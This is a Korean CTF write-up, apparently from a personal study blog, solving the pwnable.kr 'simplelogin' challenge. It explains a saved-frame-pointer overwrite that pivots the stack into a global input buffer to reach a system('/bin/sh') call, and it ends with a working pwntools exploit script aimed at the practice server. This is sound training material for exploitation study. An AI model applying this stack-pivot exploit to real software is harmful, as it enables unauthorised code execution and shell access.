hOwDayS 선린 10720
pwnable.kr simplelogin 본문
사용자에게 입력을 받은 후
입력받은 값을 base64로 디코딩한다. -> 입력하고자하는 값은 base64로 인코딩을 하여 값을 넣어야됨
base64로 디코딩한것을 input에 저장한다
auth함수로 가서 참일 경우에
correct함수를 실행시킨다
auth함수
해시를 계산하여 출력한 후 f87..34까지 비교한다
하지만 똑같은 값을 입력해도 계속 값이 바뀐다. -> strcmp문을 충족하게 만들기 어려움
correct 함수
input값과 = deadbeef 값이 같을때 실행한다 하지만 우리는 auth함수을 충족하기 어려우므로 correct함수를 실행할 수 없다
하지만 gdb로 분석을 하는 중 leave에서 특이한 점이 걸렸다
(입력값은 AAABBBBCCCC를 base64로 인코딩한 QUFBQUJCQkJDQ0ND 를입력했다)
leave에서 ebp를 보면 마지막 4바이트인 CCCC를 볼 수 있다.
leave의 구조는
leave
{
mov esp , ebp
pop ebp
}
이므로 QUFBQUJCQkJDQ0ND (AAAABBBBCCCC) 를 입력할 경우에는 오류가 뜬다
우리는 여기서 공격루트를 생각할 수 있다
input에다가 사진 처럼 입력해보자
1. leave에서 ebp는 input address가 들어간다
2. leave에서 pop ebp를 실행시키면 esp가 system("/bin/sh")로 가게 된다.
최종적으로 ret를 실행하게 되면서 쉘을 따낸다.
(shell 주소 = correct 함수에서 쉘실행시키는 부분 input주소 = bss 영역)
login.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import * s = remote('pwnable.kr',9003) payload = '' shell = 0x08049284 input_addr = 0x0811EB40 payload = ("A" * 4 + p32(shell) + p32(input_addr)).encode('base64') print ("PAYLOAD : " + str(payload)) s.recv() s.send(payload) s.interactive() | cs |
'공부 > pwnable.kr' 카테고리의 다른 글
pwnable.kr tiny_easy (0) | 2018.01.23 |
---|---|
pwnable.kr otp (0) | 2018.01.20 |
pwnable.kr brainfuck (2) | 2018.01.20 |
pwnable asm (0) | 2018.01.12 |
pwnable uaf (0) | 2018.01.11 |